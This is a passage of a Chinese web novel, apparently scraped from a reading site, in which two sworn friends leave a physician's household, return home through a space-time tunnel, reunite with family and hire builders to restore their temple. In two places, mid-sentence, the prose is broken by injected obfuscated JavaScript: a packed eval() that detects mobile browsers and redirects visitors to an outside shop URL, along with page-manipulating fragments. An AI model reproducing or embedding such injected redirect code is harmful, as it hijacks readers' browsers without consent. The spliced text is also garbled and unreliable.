那几个弟子看了一圈,没找到人,只得作罢。步云邪听着他们走远了,松了口气道:“差点给他俩背了锅。” 段星河有点恨铁不成钢,道:“李兄这体格不行,该好好练练了。” 步云邪道:“别管了,宋姑娘武功那么高,谁在她跟前都差不多的。” 两人往回走去,来到了住的院子。步云邪靠着柱子在走廊的围栏上坐下了,良宵清风明月,十分舒适。他还不想回去,道:“坐一会儿吧,散散酒气。” 段星河在他身边坐下了,能嗅得到他身上的气息,是药草融合了酒香的味道。步云邪穿着白色的交领袍,浅蓝色的绢旋儿垂下来,像浪花一样铺在栏杆上。他身上有剑一般的坚韧,也有海水一般的温柔智慧。只要跟他在一起,段星河的内心就有种安定的感觉。静了一会儿,段星河感慨道:“大家都好好的,真好啊。” 步云邪道:“是啊,我差点以为自己要没了。” 不久前城里还是一片死寂,人人自危,如今灾难终于过去了。段星河有种劫后余生的心情,道:“以后别再做这么危险的事了,你要是有个三长两短的,我怎么跟你爹娘交代?” 步云邪看着远处的夜空,淡淡道:“人生短短几十年,当然要做自己觉得值得的事。我是医生,学了医术不救人,难道要等老了再后悔么?” 段星河道:“那也不用这么拼命吧。” 当时城门封锁,他不去帮忙,这些人也走不了。步云邪道:“一旦卷进去,就身不由己了。就算不拼命,瘟疫也饶不了咱们,还不如放手一搏。” 他带着几分将生死置之度外的豪气,有种潇洒的气魄。不止是仗剑之人才是侠客,像他这种在关键时刻力挽狂澜的人,才是侠之大者。若不是他有这份心性,段星河也不会跟他成为知己。 步云邪看向他,道:“你虽然这么说,不是也帮我去找孙小竹了么?” 段星河笑了,道:“你是我兄弟,你都上了,我哪能置身事外?” 步云邪的目光微动,道:“我希望你也能保护好自己,如果我没了,至少你还能回去跟我家人说一声。” 段星河不爱听他说这么丧气的话,把脸一扳道:“咱们是一起来的,当然要一起回去。你别指望我给你报丧!” 步云邪便笑了,道:“知道了。” 风从庭院里穿过,把两人的头发吹得微微动荡。聊了这一阵子,步云邪有些想家了,现在青岩山大约也是仲夏时节,山上满是绿荫了。蜀葵应该开的正好,灿烂的花朵在山坡上摇曳着,大朵的白云漂浮在天空中,又高又远,让人忘却很多烦恼。 他微不可查地叹了口气,段星河道:“怎么了?” 步云邪道:“出来这么久了,不知道家里怎么样了。” 若是能随时回家,他们也想回去。只是两个世界之间的通道很稀有,想找到只能撞大运。段星河道:“要是找到通道,咱们就把这边的事搁下来,先回去看看。” 步云邪点了点头,道:“我爹娘应该挺想我了……啊,他们该不会以为我死了,给我生个弟弟吧?” 段星河没想到这一茬,忍不住笑了,道:“应该不至于,不过万一真的多了个弟弟,你也想开一点。” 步云邪确实很难想开,道:“我才走了一年,他们还没哭够呢,不至于这么绝情吧?” 两个人说着就要成真的了,段星河道:“没影的事,你回去了再操心嘛。” 步云邪揉了揉太阳穴,觉得自己是想太多了。不过如果自己真的没了,爹娘能再生个孩子也不是件坏事。李慈心的大弟子没了,他不是也收了自己做关门弟子么。年纪大了,总得有个慰藉。 他看了段星河一眼,道:“最近煞气怎么样了?” 段星河淡淡道:“一直控制着,没怎么犯。” 虽然是这样,说不定哪天就会恶化了。步云邪不想让他一直背负着压力,还是希望尽快帮他把病治好。他道:“那就继续往前走吧,要去蜀山还远着呢。” 段星河道:“那这里的事呢?” 步云邪道:“大家再休息几天,我看看师父还有没有什么需要帮忙的地方,没有的话,咱们就启程。” 段星河嗯了一声,道:“好,听你的。” 次日一早,步云邪去临街的慈心堂帮忙。周子龙在前面坐诊,步云邪帮他抓药。忙了一阵子,就见一个老头儿扛着糖葫芦的靶子从街上经过,身边跟着个小孩儿。步云邪仔细一看,却是糖人张和孙小竹。小竹穿着一身绿色的新衣裳,一副开心的模样。 走到医堂跟前,糖人张回头朝里看了一眼,正好跟步云邪对视上了。孙小竹朝他挥了挥手,道:“哥哥!” 步云邪微微一笑,从柜台后面走了出去。小竹有好一阵子没见他了,还挺想念的,道:“哥哥,你在忙啊。” 步云邪道:“是啊,你们要去哪儿?” 孙小竹道:“爷爷出摊卖糖人儿,要攒点钱,下个月我就要去学堂读书了。” 他眼睛亮晶晶的,道:“小豆子也在,前天他就回去上学了,等我跟他一起上课呢。” 大家的生活都回到正轨上去了,步云邪也很为他们高兴。糖人张站在一旁,枯树一般的脸上也露出了一点笑意,道:“吃糖么,这个送你们吧。” 他从架子上摘下一个嫦娥奔月的小糖人,递了过来。糖人捏的栩栩如生,飘带像是能飞起来似的。步云邪十分喜欢,道:“多谢啦。” 他伸手摸钱,糖人张已经摆了摆手,道:“不用钱,我去集市上了,你们也忙吧。” 小竹挥了挥手,蹦蹦跳跳地跟着糖人张走了。步云邪拿着糖人回了药铺,周子龙看着这边。步云邪眨了眨眼,道:“糖人,你要么?” 周子龙当医生习惯了,下意识就想让他先消毒。步云邪不用他说,拿着糖人在苍术的药桶跟前熏了一会儿。他忙着给病人抓药,随手把糖人插在了旁边,就算不吃,看着也挺漂亮的。忙活到了中午,步云邪听见身后有人道:“师弟。” 步云邪以为叫别人,回头一看,其他人都吃饭去了,屋里只剩下自己跟周子龙。他跟周子龙一直没怎么聊过天,觉得这位二师兄有点不太好接近。此时他看着这边,似乎有话要说。 步云邪走过去,道:“二师兄,你叫我?” 周子龙打开药箱,从里头拿出一个黄花梨的小盒子。他把盒子推了过来,道:“师父以前送我两套针,这一套我一直没舍得用,你拿着吧。” 步云邪一诧,道:“这怎么好意思。” 周子龙道:“打开看看,喜欢么。” 步云邪打开盒子,从里头拿出了个绣着云纹的蓝色锦缎布包,上头带着两个银环,能挂在腰上。布包里是一套针灸用的金针,十分精致。他本来以为周子龙对后来的师弟妹都有些排斥,没想到他居然会认可自己。 “你做了我的师弟,我还没送过你见面礼,收着吧。” 步云邪有些感动,下意识摸了摸自己,两袖空空的也不知道该回赠他点什么。周子龙笑了,随手拿起了旁边的糖人,道:“这个不错,咱们俩换吧。” 那一套金针少说要十两银子,一个糖人才几文钱。周子龙却仿佛觉得这笔交易很不错,露出了淡淡的笑容。他道:“师父收了你,一直很高兴。你能多陪一陪他老人家么?” 步云邪有些为难,道:“我们可能很快就要走了。” 周子龙显得有些遗憾,不过也没有太意外,毕竟他们本来就是从大幽来的。他道:“这里也是你的家,以后记得回来。” 步云邪微微一笑,道:“好。” 下午过了申时,步云邪去了书房。李慈心正在书案后写字,步云邪敲了敲门,道:“师父。” 李慈心搁下了笔,露出了笑容道:“小云,来。” 步云邪走了过去,李慈心道:“最近怎么样?” 步云邪道:“休息过来了,药庐里也没什么事了。弟子想,我也该继续往前走了。” 他虽然这么说,也有些不舍得。比起钦天监来说,这里才像是他来到这个世界之后的第一个家。李慈心给了他庇护和温暖,待他像亲生儿子一样,也教给了他很多东西。如果不是还要跟兄弟们继续旅行,他真的想留下来跟李慈心好好学习,继承他的医术。 李慈心知道他早晚要离开,却还是有些舍不得。他垂下了眼,道:“是么,什么时候出发?” 步云邪道:“明天吧。” 李慈心转身从书架上拿起了一个盒子,轻轻地放在了步云邪面前,道:“前段时间我把这些年写的千金医典付梓印出来了。只写完了诊脉、针灸和内科三部分,后面还有我对炼丹的一些理解。这本书你拿着好好修习,就像师父在你身边一样。” 步云邪双手捧着厚厚的医书,十分感动,道:“师父……这太贵重了。” 李慈心郑重道:“你的天赋卓绝,这本书传给你能救更多人,我这一脉的医术也得以传承。收下吧,把它交给你,为师很放心。” 这本书凝结了李慈心毕生的经验和智慧。步云邪知道它的分量有多重,他跪在地上,向李慈心拜了三拜,道:“多谢师父厚赐,弟子一定好生修习。” 先前在危难之时,李慈心要将药庐分给他一部分,他却不为财产地位所动,不肯趁人之危。如今为了知识,他却愿意向李慈心叩头,有这份品性,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715189|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足见他能学好医术。 李慈心把他扶了起来,道:“好孩子,这里永远是你的家。等外头的事忙完了就回来,师父一直等着你。” 知了在树荫里长声嘶鸣,一群人在屋里坐着喝茶打叶子牌,瓜皮和小对眼窝在蒲团上打着瞌睡。步云邪从外面回来,怀里抱着李慈心给的千金医典。他把书珍重地收起来,床上放着他已经收好的行李。段星河道:“道完别了?” 步云邪嗯了一声,道:“明天走吧。” 段星河回到外间,道:“兄弟们休息的差不多了吧,收拾一下,明天咱们往前走了。” 伏顺咂了咂嘴,道:“这就走啊,这里的东西还挺好吃的呢。” 赵大海一拍胸膛,道:“没事,我给你做。” 伏顺一想起他的玉米粥就欲哭无泪,道:“那不用了……当我没说。” 步云邪有点伤感,沉默着没说话。李玉真安慰道:“没事,以后有空了,咱们再回来嘛。” 大家收拾了行李,准备好了路上用的物资。次日一早,步云邪去书房道:“师父,弟子告辞了。” 李慈心从书房里走了出来。他给步云邪整了整衣领,神色里透着不舍,道:“好孩子,路上注意安全。” 步云邪也有些舍不得,道:“是,师父也多保重。” 贺宇昭带着人把一大包腊肉和火腿、粮食放到他们的大车上,生怕他们路上饿着了。其他人簇拥着他们来到大门前,周子龙的神色温和,道:“小师弟,一路顺风。” 贺宇昭眼巴巴地道:“记得回来看我们啊,师弟。” 步云邪道:“一定的,各位,后会有期!” 他翻身上了马,跟众人挥了挥手。赵大海套上大车,一甩鞭子道:“走喽。” 车队在众人的目送下渐渐走远了,良久出了城,段星河长叹了一口气,说不上来是松了口气还是什么,终归是度过了生命中的一劫。 夷州到处都是莽莽丛林,出城不远就很荒了。知了在树荫里长声嘶鸣,仲夏时节,在外头行走有些热。段星河出了一身汗,好在迎面有风吹来,骑在马上也挺舒服的。 下一个城池离这里还有半个月的路程,他们又回到了在外露营的日子。傍晚时分,众人在路边扎下了营帐。赵大海支起了他的大锅,雷打不动地熬起了玉米粥。 伏顺坐的远远的,怀里抱着墨墨,催眠似的道:“玉米粥也没什么不好的,吃点粗粮对身体有好处,是不是?” 墨墨把鼻子卷了起来,鼻孔朝里,似乎已经不想再闻到玉米粥的味道了。伏顺实在骗不了自己,忍不住道:“你也不爱吃这个,是不是?” 墨墨的耳朵动了动,从他的怀里钻了出去。伏顺回过头去,发现段星河手里拿着一个又甜又脆的大苹果,慢条斯理地喂给他的儿子。 伏顺叹了口气,没人心疼自己,他只能跟玉米粥达成和解,能填饱肚子活着就行了。 晚上吃完了饭,众人回帐篷休息。次日一早继续往前走,这么过了半个月,远远地已经能看到前头城墙的影子了。 进了城就能洗澡了,宋胡缨长舒了口气,打算好好泡在水里,把这一身尘土洗干净。 大车走在路上,段星河忽然有种异样的感觉,周围好像有什么东西在震动,耳朵里也嗡嗡直响。 他转头看步云邪,道:“你有没有感觉?” 步云邪环顾着四周,道:“好像是地震,还是什么……这附近有结界么?” 赵大海皮糙肉厚的,没什么感觉,搔了搔头道:“怎么啦?” 宋胡缨也有所感应,皱眉道:“不对劲。” 大车又往前走了一阵子,忽然见前方的树林边有个黑色的气流漩涡浮在半空中,正在不住旋转。没有灵力的人看不到,但身体受到影响会莫名心慌,只有修行之人才能看到它的形态。段星河睁大了眼,道:“这不是咱们来的时候的那个隧道吗?” 赵大海停下了车,道:“对,就是这玩意儿!” 李玉真听见了声音,揉着眼从车窗里探出头来,看到气旋登时清醒了。他激动道:“这是时空隧道啊,可以通往另一个世界的。小时候我跟师父就是从这样的隧道去的外面!” 段星河寻思着自己来的时候被扔在了望海郡,伏顺他们被扔到了大幽都城,看来沟通两个世界的隧道不止一个。他道:“李兄,这隧道的位置是固定的,还是变动的?” 李玉真寻思道:“位置应该是固定的,但什么时候出现不一定。一般有人使用过,它就会消失一段时间。” 他说着掏出羊皮地图,拿罗盘看了一下位置,在地图上记了下来。 看来想遇到这个隧道还要碰运气,前几天段星河还跟步云邪说起要回家看看,没想到机会来得这么突然。段星河道:“我想回家一趟,李兄,宋姑娘,你们一起来吗?” 李玉真也没什么事,道:“好啊,我早就想去青岩山看看了。” 宋胡缨想了一下,道:“去也行,我没急事。” 他们车上的这些东西不方便带过去,还有钱也得兑出来。段星河道:“先进城吧,找个地方把行李存起来,然后再来。” 一想到要回家了,众人都精神起来。赵大海驾着大车往前驶去,中午进城租了个仓库,把大车和帐篷等物存在里面,又把马匹托给了人寄养。段星河去了一趟钱庄,他们这段时间做任务杂七杂八加起来攒了四千多两,都是公共开销。段星河兑了两千两银子出来,打算回去孝敬师娘。剩下的两千两银票作为生活费,回来以后再用。 其他人也把银子兑了出来,李玉真和宋胡缨各兑了一百两日常花用,步云邪、伏顺和赵大海每人兑了八百两,打算拿回去孝敬爹娘。 伙计们把银子兑出来,段星河用包袱包起来,两大包提在手里沉甸甸的。伙计道:“客倌,要帮你雇个车吗?” 段星河道:“不用,多谢。” 他本来力气就大,拿起钱来更是精神百倍。其他几人各自背着装钱的包袱在外面等着,一副踌躇满志的模样。段星河道:“走吧。” 众人出了城,走了半日,再次来到了那个气旋附近,黑色的漩涡还在不停转动。步云邪把墨墨抱在怀里,摸了摸它的背,道:“别紧张,咱们要回家了。” 宋胡缨拿了个包袱皮把小对眼裹在里面,生怕它丢了,紧紧地系在了身上。李玉真道:“我钻过这个隧道,就是有点晕,没事的。” 小对眼嗷地叫了一声,在包袱里不安地动了几下。宋胡缨把它按住了,道:“乖乖的,一会儿就到了。” 段星河纵身一跃,当先跳进了那个气旋里,步云邪随即跟上。伏顺和赵大海把银子揣牢了,也跳了进去。李玉真小心翼翼道:“宋姑娘,你要是害怕,咱们可以拉着手。” 他话还没说完,宋胡缨已经跳进了那个气旋里。李玉真怔了一下,发现只剩下自己了。他慌忙道:“等等我,我来啦——” 他闭上了眼,咬着牙往里一跳,顿时感觉浑身一轻,被一股气流托了起来。隧道里到处都是一片黑暗,恍惚间好像穿过了很远的距离,也不知过了多久,一道白光出现在前方。 李玉真感觉自己的身体迅速往下坠去,有种失重的恐惧感,却又阻止不了这一切发生。 他下意识惨叫起来:“啊啊啊——都让开,我要掉下去了!” 49.青岩山 一 青岩山中,一群孩子正在后山割猪草。小栓子性情呆呆的,跟别人合不来,独自待在一棵大树跟前,看着一群蚂蚁来来回回地忙碌。 这时候就见天空微微扭曲了一下,有小孩子抬起头来道:“怎么回事,大白天打闪?” 另一人道:“我也看见了,要下雨了吗?” 这时候忽然见半空中开了道口子,就见一个人影坠了下来。紧接着第二个、第三个,下饺子似的噼里啪啦直往下掉。 “啊啊啊啊——” 那黑洞距离地面不远,段星河竭力保持着平衡,结果还是一头扎在了树林里,被树枝弹了一下,滚落在草地上。段星河摔得灰头土脸的,回头一望,见步云邪也落了下来。 他还没来得及接,步云邪已经落在了树丛上,随即一个翻滚落在了地上。 “没事吧?” 步云邪虽然没摔伤,还有些心有余悸,看了看四周道:“我没事,其他人呢?” 就听半空中传来一声惨叫:“救命啊啊啊——” 扑通扑通两声,赵大海和伏顺接连落了下来,摔在了打猪草的孩子们面前。伏顺爬起来,顾不上疼,先看自己的钱少了没有,所幸还都在。他松了口气,道:“大傻,你没事吧?” 赵大海摸了摸自己装钱的包袱,鼓鼓囊囊的。他咧嘴一笑,道:“人没事,钱也没事,嘿嘿。” 那些小孩儿有逍遥观的,也有附近步家寨子的人,见了这情形都吓坏了。有人道:“不得了,师兄们从天上掉下来了,快去告诉师娘!” 宋胡缨紧跟着他们落在了草地上,就势打了个滚卸去了冲击力,身上没有大碍。一群小孩儿仰头看着天,道:“掉完了吗,还有没有了?” 这时候就见李玉真大叫着摔了下来:“啊啊啊都让开,我要掉下去了!” 扑通一声,小栓子就见一个穿青衫的道士落在了自己面前,摔的披头散发的。他捡起一根树枝戳了戳那人,李玉真疼的龇牙咧嘴的,道:“别戳……别戳,我还活着呢。” 蚂蚁们慢悠悠地绕着他拐了个弯,抬着一条大青虫走远了。李玉真爬起来四下环顾,道:“这里就是青岩山吗,其他人呢?” 段星河和步云邪互相搀扶着找过来,刚才他们见李玉真是落在这个方向了。 “李兄,在哪儿呢——” 李玉真挥了挥手,颤巍巍道:“我在这儿呢!” 一群人一瘸一拐地汇合了,见大家都没摔坏,总算放了心。小孩儿们来到附近,探头探脑地看着他们,都十分兴奋。一人小声道:“是大师兄!” 另一人道:“还有二师兄他们,大家都回来了!” 段星河看见了那一群小毛头,道:“躲躲藏藏的干什么,不认识了?” 小孩儿们从树后钻了出来,小石头激动道:“大师兄,你们去哪儿了?大家一直在找你,师娘也很替你们担心!” 段星河笑了,道:“我们没事,就是出去历练了一圈。” 他放眼望去,青岩山漫山遍野都是青翠的草木,白色的瀑布从山间流下,一切都是那么亲切熟悉。蜀葵高高低低地长在山坡上,花朵圆圆的,花瓣上生着细细的纹理,有深红色的、白色的、也有粉紫色的,开的既灿烂又大方,在风中轻轻摇摆。这就是他们做梦都在想念的老家,他们总算回来了! 小孩儿们背着猪草篓子,簇拥着段星河等人回了逍遥观。又有小孩儿跑去告诉了步家寨子的族长,到了岔路口,步云邪道:“我先回家一趟,有空来找我。” 段星河点了点头,暂时跟他分别了。步云邪往东边走,刚到寨子门口,就见爷爷拄着龙头拐,和他父母一起来接他了。步母见失踪的儿子回来了,冲过来把他紧紧地抱在了怀里,泪水流了下来,道:“我的幺儿,你去哪儿了!” 步云邪见母亲这么激动,心里十分愧疚,道:“我没事,就是遇到了一些事情。我跟大师兄在一起,一直都挺好的。” 父亲站在一旁,既高兴又生气,道:“连声招呼都不打就不见了,整个寨子发动了所有人找了你三个月,把附近的几座城都翻遍了,你知道大家有多担心你吗!” 步云邪很过意不去,道:“对不起,阿爸,我不是故意的。” 爷爷拿龙头拐戳了爸爸的脚一下,呵斥道:“孩子回来了就是好事,你这破嘴要是不会说好听的,就给我闭上!” 爸爸一向怕爷爷,只好沉默下来。爷爷拄着拐过来,抬起苍老的手摸了摸步云邪的脸颊,难过道:“好孩子,你可算回来了,爷爷还以为永远都见不到你了。” 步云邪也有些心酸,道:“我这不是好好的吗,别替我担心。” 周围已经有寨民围过来了,大家见祭司回来了,顿时高兴起来,纷纷道:“肯定是有神明保佑,祭司平安无事,太好了!” 爷爷道:“回去吧,爷爷让人给你做些好吃的,好好休息一下。” 步云邪搀着爷爷,在一群人的簇拥下回了家。段星河等人往西边走,前头就是逍遥观的山门了。师娘已经听人报了信,快步迎了出来。段星河像见了亲娘一样,高兴道:“师娘!” 乔月柔见他们都好好的,又惊又喜。她一把将段星河抱住了,颤声道:“好孩子,你们去哪儿了,没受伤吧?” 段星河咧嘴笑道:“好着呢,我们遇到了一点意外,去了另一个地方。大家历练了一阵子,我回去慢慢跟您说。” 乔月柔就像找回了自己的孩子们,心中感谢上苍保佑,又有些酸楚。她伸手擦了一下眼泪,道:“平安就好,进来吧。” 一群人围着段星河,把花厅挤得满满当当的。赵大海他们各自找了个凳子坐下了,师娘让人先去做饭,一边烧了水道:“怎么回事,一声招呼不打就消失了。我听刘正阳说你们一进后山就不见了,大家找了你们好久,还有步家寨子也在找人。” 段星河把自己被卷到天外天的事大体说了一遍,怕她担心,没提自己被关在采石场的事,只说了自己在那边加入了钦天监,然后到处游历,赚了点小钱,后来在夷州遇见了隧道,便带着人回来了。 师娘点了点头,环视着众人,见大家都晒黑了,人也结实多了,看来这段时间确实长进了不少。她十分欣慰,又有些疑惑,她的女儿也失踪了,却不见她跟师兄们一起回来。 她道:“小雨呢?” 本来热闹的气氛陷入了沉默,段星河不知道该怎么回答她,其他人也目光游移,不敢出声。乔月柔生出了不好的预感,道:“没找到她?” 段星河小声道:“对不起,师娘,我们一直在想办法找她,还画了她的像到处问人,但……还没有找到。” 乔月柔的眼睛有些发红,不觉间落了泪。小雨才十一岁,一个人在一个陌生的世界里,不知道要怎么活。她身为母亲,简直不敢想女儿的处境有多艰难。段星河很是自责,低头道:“对不起,师娘,我们还会再去那边,无论如何也得把小师妹找回来!” 乔月柔点了点头,知道这事也不能怪段星河。这段时间她想把段星河他们找回来,都一筹莫展,他们要找小雨,也像大海捞针一般。她道:“这件事就托付给你们了。” 她以为自己的丈夫只是出去云游了,却不知道他已经死在了另外一个世界。段星河看着师娘憔悴的模样,不敢把这件事告诉她,只能守着这个秘密。不管怎么样,他都得把小雨找回来。 师娘看向了李玉真,道:“这位小公子是?” 李玉真连忙站起来,行礼道:“在下李玉真,在太清宫修行。这段时间跟段兄一起历练,多亏了他照顾。” 宋胡缨也道:“我叫宋胡缨,大新人,跟他们在路上认识的。” 这些人都是在另一个世界长大的人,一个个斯文秀气,模样也好看,看起来跟这边的少年男女没什么区别。乔月柔点了点头,温声道:“欢迎。既然来了,就把这儿当成你们自己家,不必见外。” 厨房做好了饭,让人送过来。桌子上摆满了菜肴,有烧鸡、炖羊肉、红烧鱼、炒腊肉、鲜笋汤、时鲜蔬菜,热腾腾的白米饭,还有自己泡的桂花青梅酒,丰盛的跟过年似的。 伏顺搓了搓手,兴奋道:“还杀羊了,师娘你真好!” 师娘道:“你们好不容易回来了,杀头羊给你们接风。” 她给年纪小的孩子们另开了一桌,不让喝酒,每人都有肉吃。大家都十分高兴,热热闹闹地吃了一顿饭。 乔月柔道:“等会儿我让人给你们送点柚子叶去,彻底洗个澡,好好休息一阵子。” 段星河微微一笑,道:“好,多谢师娘。” 乔月柔给他们安排了住处,几间厢房挨着,见面也方便。 段星河回到自己的屋子,推开门,一股熟悉的气息扑面而来。墙角的筐子里放着他的藤球,桌上有他没看完的书,一切好像都停留在了自己离开的那一天。然而竹笼子里的蝈蝈已经没了,生命在悄悄流逝,时光也在不经意间变得陈旧。 屋子年久失修,已经很破旧了。他枕着手臂躺在床上,看着墙上的裂缝,想起了自己从前的理想—— 多挣点钱,把逍遥观修一修,给师娘和弟妹们买点好吃的,让他们过好日子。 从明天起,就开始修房子吧。那个隧道短时间内不会出现,借这个机会把这边的事做一做,然后再去那边,想办法把小师妹找回来。 外头有人敲了敲门,小栓子怀里抱着一大把柚子叶,呆呆地道:“大师兄,给你洗澡用的。” 段星河来到门前,小栓子抽出一部分柚子叶,照着师娘教的模样,在他身上轻轻拍打了几下,道:“诸恶退散,百无禁忌。” 段星河笑了,道:“谢谢你。” 小栓子把叶子递给了他,又去旁边敲门,把柚子叶交给了李玉真他们。院子里有柴房,段星河烧起了水,先给宋胡缨送了过去,又给李玉真送了一盆。 李玉真有些不好意思,道:“有劳你啦,段兄。” “你是客人嘛,”段星河站在门口道,“头天招待你,以后要洗澡就得自己烧水了。” 李玉真也不是十指不沾阳春水的人,道:“好,我们自己料理生活,你就不用操心了。” 次日一早,段星河正在吃饭,见伏顺和赵大海肩膀上背着包袱,过来敲了敲门。 那两人都穿上了新衣裳,收拾的干净整齐,看来是要衣锦还乡了。段星河站起身来道:“怎么了?” 伏顺道:“大师兄,我们离开家好久了,打算回去看看爹娘。我俩跟你请三个月的假行么。” 步云邪都回家了,他们也该回去看看了。段星河道:“那就去吧,替我跟家里人问好。” 那两人喜气洋洋的,这段时间挣了不少钱,也该回去帮家里改善生活了。段星河送他们出了院门,那两个人老家都在青岩山附近,一个在前头湾,一个住赵家屯,两个地方挨着。走的时候顺路,回来的时候也能搭伙一起来。 吃完了早饭,段星河去跟师娘说了扩建逍遥观的想法。这边的房子有的漏雨,有的发霉,更有些墙壁裂了纹。花园外的墙大前年被暴雨冲垮了半边,至今摇摇欲坠的,小孩子们都不敢靠近那边,只能绕着走。 乔月柔早就想修房子了,苦于没钱,一直拖着。她道:“要花费不少吧,咱们没什么香火,光养人还不够呢。” “钱够花的,”段星河认真道,“这笔钱是兄弟们一起攒的,大家都商量好了,师娘不用担心。” 乔月柔笑了笑,接受了他们的孝心,道:“好吧,那就交给你了。” 段星河回到了住处,他昨天用笸箩和旧棉布给墨墨做了个窝,放在屋子的角落,这会儿它还在睡觉。段星河随手摸了摸它的脑袋,用包袱装了五百两白银,把剩下的部分放在箱子里,上了锁塞进床底下。 墨墨抬起头看了他片刻,打了个呵欠,又趴回窝里去了。 忙活完了,他去隔壁敲了敲李玉真的房门,道:“兄弟,醒了吗?” 李玉真冒出头来,蓬着头发,一副睡眼惺忪的模样。他揉着眼道:“啊,这地方真安静,一不小心就睡过头了。” 段星河道:“我要去镇子上一趟,你一起来玩么?” 李玉真正想在附近逛逛,立刻道:“好,你等我一下。” 他钻回屋暴风洗漱,换上了一身浅青色的衣袍。片刻出来时,宋胡缨已经收拾完毕,抱着小对眼在院子里等着他们了。她穿着一件桃红色的上衣,腰上扎着一条石青色的裙子,头上戴着根黄金的玫瑰簪子,乌黑的头发垂下来,其中夹杂着几根细细的辫子,末端用金珠扎住,显得十分俏丽。 她的皮肤白,戴金首饰特别好看。李玉真忍不住多看了几眼,没想到她也要一起出去,简直喜出望外,觉得还是好兄弟懂自己的心。 段星河穿着一身墨蓝色的衣袍,腰身用革带束出精瘦的线条,显得很利落干练。他套上了牛车,道:“走吧。” 他斜靠在车头,往地上一甩鞭子,缓缓地往山下驶去。牛车走得慢,但有种马车没有的趣味,李玉真和宋胡缨坐在车上,看着郁郁葱葱的青岩山,感受着拂面的清风,身心格外舒畅。 这个世界比天外天要安静祥和的多,不用担心哪个角落里会窜出一个歪七扭八的怪物,也不用怕有邪修算计他们。李玉真靠在车壁上道:“这边可真好啊。” 宋胡缨摸着小对眼,道:“是挺不错的。” 远处传来了噪鹃的啼鸣声,呜,呜呜,呜呜,呜呜,呜——呜!啵,啵,啵啵! 李玉真打了个寒战,抬头张望道:“怎么这里也有这种鸟,叫的跟鬼哭似的。” 宋胡缨道:“哪里都有吧,啵啵啵啵。” 她撅起嘴,学的还挺像,跟水开了冒泡似的。李玉真笑了,觉得她虽然常常面无表情,其实内心十分可爱。段星河驾着车来到了山下的镇子,到处人来人往的,跟他们离开前没什么两样。 段星河站在街头,看着一如往昔的街道和店铺,生出了一种不真实感。他离开了这么久,这个世界一点变化都没有。李玉真道:“段兄,想什么呢?” 段星河回过了神,道:“喔,先去找工匠吧,我想把房子修一修。” 他赶着车来到了镇上最有名的工匠铺子跟前,上头挂着个黑底大牌匾,写着三个金色的大字,缺一门。 李玉真抬头望着招牌,惊讶道:“呦呵,此间的主人口气不小啊。他自诩是鲁班的传人?” 工匠的祖师爷公输班将毕生绝学著作成书,欲学成他的本事,就要在鳏寡孤独残中选一样应验,因此叫做缺一门。这里的主人老刘头年轻时十分仰慕这门绝学,主动斩去了左手小指,应了残这个字,潜心学成了一身好本事。他不仅擅长木工,也精通盖房、建造园林,收了许多徒弟。 老刘头一生帮不少人盖过房子,名气很大,对于当地人来说,他挂这块金字招牌一点也不算自大。段星河说自己要扩建逍遥观,问要多少钱。对方本来坐着抽旱烟,一听是青岩山上的道观,磕了磕烟袋锅道:“哎呀,你们那儿香火不是不好么,扩建要花很多钱的。” 他倒是没有恶意,段星河道:“我们攒了一些,应该够了。你出个价吧。” 老刘头便回头从架子上拿了几张图纸出来,让段星河选一个。李玉真和宋胡缨好奇地凑过来,给他当参谋。段星河看了一阵子,选了个最大规模的道场,前后六进院,正中的大殿宽阔宏伟,旁边还有偏殿。庭院里种着松柏,挖了水池,后面有练功场、讲经堂,还有弟子房、待客的厢房、小花园、厨房、仓库,一应俱全。 在外游历了这么久,段星河见了不少大宗门,心里其实羡慕得很。昔于公治狱,大兴驷马之门。他将来要把逍遥观发扬光大,自然得把道场盖的排场十足。 老刘头咧嘴笑了,道:“小伙子,这个贵得很,要一千五百两银子才能修得成。” 段星河寻思着钱够用,道:“用的材料都包吧?” 老刘头以为他跟自己逗着玩,说:“包啊,人工费、石料、木材、瓦片、油漆、白灰都在里面,绝对都是好料子。不过院子里的树你得自己种,还有些太湖石、香炉什么的,造景的东西你也得自己去寻摸。” 那些都是小事了,家里有个传了几百年的老香炉,比新的镇宅多了。段星河说:“能便宜点吗?” 老刘头去烧过香,知道那边的情况。他寻思了一下,觉得造桥修观是积德的好事,便说:“你那边能留的我尽量给你保留,能修的尽量翻新。这样的话能省个二百两银子,最低给你按一千三百两。” 段星河觉得可以,爽快道:“好,那就盖这个吧,交多少定金?” 老刘头还不太信那穷道观里的人能掏出这么多钱来,试探道:“先交两成吧。” 段星河等会儿还得买别的东西,道:“没带那么多现钱,交二百两行不行?” 老刘头道:“也行。” 段星河便取了银子给他。老刘头没想到这小伙子还真挺有钱的,顿时觉得自己看走眼了。他收了钱,脸上也有了笑模样,皱纹聚在一起道:“好好,小道爷这样虔诚,我们一定认真帮你修道观。我等会儿就去找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720248|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工匠,后天咱们就开工。” 段星河心中一轻,道谢出了铺子。李玉真和宋胡缨跟着他,迈步进了一间首饰店。先前为了招待天心观的人,师娘当了一根金簪子买三牲。段星河心里一直过意不去,如今他有钱了,打算补给师娘一支金簪。 